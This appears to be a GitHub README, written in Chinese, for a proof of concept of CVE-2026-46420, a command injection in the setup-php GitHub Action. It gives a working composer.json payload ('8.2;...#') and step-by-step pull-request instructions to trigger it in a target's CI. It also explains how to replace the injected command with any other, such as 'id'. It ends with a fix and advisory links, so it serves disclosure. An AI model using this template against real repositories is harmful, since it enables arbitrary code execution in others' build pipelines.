Jvr2022/CVE-2026-46420
GitHub: Jvr2022/CVE-2026-46420
针对 shivammathur/setup-php 的 CVE-2026-46420 命令注入漏洞的概念验证,演示了通过 composer.json 的 PHP 版本字段在 CI/CD 流水线中执行任意命令。
Stars: 1 | Forks: 0
# CVE-2026-46420 PoC
当从仓库控制的文件中加载 PHP 版本时,`shivammathur/setup-php` 中存在命令注入漏洞。
受影响版本:
```
>= 2.25.0, < 2.37.1
```
已修复版本:
```
>= 2.37.1
```
## PoC
目标仓库已经存在一个存在漏洞的 workflow,该 workflow 会检出 pull request 的内容并运行 `setup-php@2.37.0`。
攻击者只需修改 `composer.json`。
```
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
```
当 `setup-php` 从 `composer.json` 读取 PHP 版本时,注入的命令会被包含在生成的 shell 脚本中并被执行。
结果:
```
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
```
## 复现
从目标仓库创建一个分支:
```
git checkout -b poc-test
```
将干净的 `composer.json` 替换为 PoC 版本:
```
cp attacker/composer.json composer.json
```
提交并推送:
```
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
```
从 `poc-test` 向 `main` 发起一个 pull request。
Actions 运行结果应该会显示 `demo-app/.env.example` 在 `setup-php` 步骤中被修改了。
## 更改命令
Payload 格式如下:
```
8.2; #
```
当前 Payload:
```
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
```
执行的命令为:
```
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
```
要更改 PoC 执行的操作,请替换 `8.2;` 和 `#` 之间的命令。
创建文件:
```
8.2;touch poc-executed #
```
写入文件:
```
8.2;printf 'poc executed\n' > poc-result.txt #
```
打印命令输出:
```
8.2;id #
```
示例 `composer.json`:
```
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
```
## 修复
升级到 `setup-php@2.37.1` 或更新版本。
相同的 Payload 在修补后的版本中会被拒绝。
## 参考
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b
标签:CI/CD安全, Cutter, GitHub Actions, Homebrew安装, Llama, Maven, OpenVAS, PHP, PoC, 命令注入, 暴力破解, 漏洞验证, 自动笔记